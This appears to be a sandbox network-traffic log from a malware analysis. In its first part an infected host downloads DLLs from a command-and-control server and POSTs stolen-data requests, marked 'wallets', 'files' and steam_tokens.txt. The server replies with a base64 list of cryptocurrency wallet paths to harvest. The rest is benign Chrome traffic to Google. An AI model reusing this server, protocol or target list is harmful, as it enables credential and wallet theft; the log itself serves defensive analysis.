Oct 29, 2024 06:59:38.344705105 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:38.621362925 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 06:59:40.006006002 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:40.282895088 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 06:59:40.441519976 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:40.718122959 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 06:59:41.350500107 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEGCBKEGCFCBFIDBFII Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 06:59:42.129694939 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:42.219990015 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="message"wallets------FBKJKEHIJECGCBFIJEGI--
Oct 29, 2024 06:59:42.498596907 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 29, 2024 06:59:42.502681017 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"files------AEHIDAKECFIEBGDHJEBK--
Oct 29, 2024 06:59:42.781426907 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:42.795741081 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file"------FBFHDBKJEGHJJJKFIIJE--
Oct 29, 2024 06:59:43.569714069 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:43.598558903 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="message"ybncbhylepme------HIIEBAFCBKFIDGCAKKKF--
Oct 29, 2024 06:59:43.877448082 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:43.879106998 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 2d 2d 0d 0a Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGIJECGDGCBKECAKFBGC--
Oct 29, 2024 06:59:44.653225899 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	142.250.184.196	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:08 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 05:59:08 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:08 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-TM93TrI6WRfkIziVSUhcDQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 05:59:08 UTC	112	IN	Data Raw: 33 32 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 72 69 61 6e 20 74 68 6f 6d 61 73 20 6a 72 20 69 6e 6a 75 72 79 20 75 70 64 61 74 65 22 2c 22 76 65 6e 6f 6d 20 33 20 63 72 65 64 69 74 20 73 63 65 6e 65 73 22 2c 22 64 72 61 67 6f 6e 20 61 67 65 20 74 68 65 20 76 65 69 6c 67 75 61 72 64 20 72 65 76 69 65 77 73 22 2c 22 62 6f 65 69 6e Data Ascii: 324)]}'["",["brian thomas jr injury update","venom 3 credit scenes","dragon age the veilguard reviews","boein
2024-10-29 05:59:08 UTC	699	IN	Data Raw: 67 20 73 74 72 69 6b 65 20 75 6e 69 6f 6e 22 2c 22 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 61 75 72 6f 72 61 20 66 6f 72 65 63 61 73 74 22 2c 22 64 61 6c 6c 61 73 20 63 6f 77 62 6f 79 73 20 73 61 6e 20 66 72 61 6e 63 69 73 63 6f 20 34 39 65 72 73 22 2c 22 64 6f 65 73 20 72 61 69 6e 20 64 69 65 20 69 6e 20 62 65 61 75 74 79 20 69 6e 20 62 6c 61 63 6b 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 6c 69 62 65 72 74 79 20 66 61 6c 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 Data Ascii: g strike union","northern lights aurora forecast","dallas cowboys san francisco 49ers","does rain die in beauty in black","black ops liberty falls"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SE
2024-10-29 05:59:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.184.196	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:08 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	142.250.184.196	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:09 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 05:59:09 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 05:59:09 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
